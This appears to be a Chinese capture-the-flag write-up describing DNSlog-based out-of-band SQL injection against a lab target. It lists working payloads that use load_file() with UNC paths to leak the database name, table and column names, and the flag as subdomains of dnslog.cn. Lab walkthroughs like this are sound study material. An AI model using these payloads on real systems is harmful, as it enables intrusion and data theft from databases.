SQL注入:DNSlog注入

靶场地址:http://61.136.208.14:8003/

解题准备:DNSlog平台

解题思路:

1、根据提示,需要使用dnslog平台进行注入

DNSLog Platform

生成并复制域名

2、然后判断靶场的闭合符

id=1 页面正常

id=1' id=1' --+ 报错

id=1 and 1=1 页面正常

id=1 and 1=2 页面不正常

确定没有闭合符,应该是数字型

根据DNSlog注入的通用语句,构建注入语句

?id=1 and (select load_file(concat('\\\\',(select database()),'.wd03jd.dnslog.cn\\123')))

3、提交后去dnslog查看,果然有域名解析记录,并爆出数据库名:dnslog

继续爆表名(这里换过一次域名)

?id=1 and (select load_file(concat('\\\\',(select table_name from information_schema.tables where table_schema=database() limit 0,1),'.kpo62s.dnslog.cn\\123')))

 显然flag就在第一个表中,再爆字段名,修改limit 0,1可以得到所有字段名

?id=1 and (select load_file(concat('\\\\',(select column_name from information_schema.columns where table_schema=database() and table_name='flag_is_here' limit 0,1),'.kpo62s.dnslog.cn\\123')))

4、爆flag

正常写法一直无法获取域名访问记录,怀疑是dnslog字符数有限制,于是采用substr()函数分批显示

然而奇怪的是:前面1-4个字符flag可以正常爆出,后面的字符却怎么都不能爆出,尝试跳过第5个字符从第6位开始,一次爆8个字符,成功爆出32位flag

怀疑是特殊字符 { 和 } 无法被dnslog解析

?id=1 and (select load_file(concat('\\\\',substr((select flag from flag_is_here limit 0,1),1,4),'.wd03jd.dnslog.cn\\123')))

?id=1 and (select load_file(concat('\\\\',substr((select flag from flag_is_here limit 0,1),6,8),'.wd03jd.dnslog.cn\\123')))

5、 继续爆14,8)                 22,8)                 30,8)

5、最终将4段字符串拼接到flag{.........}中,得到最终答案

小贴士:如果靶场访问正常,但dnslog什么都记录不到,可能是间隔时间长dns域名失效了,重新生成一个域名即可继续进行注入

  • 1
    点赞
  • 4
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值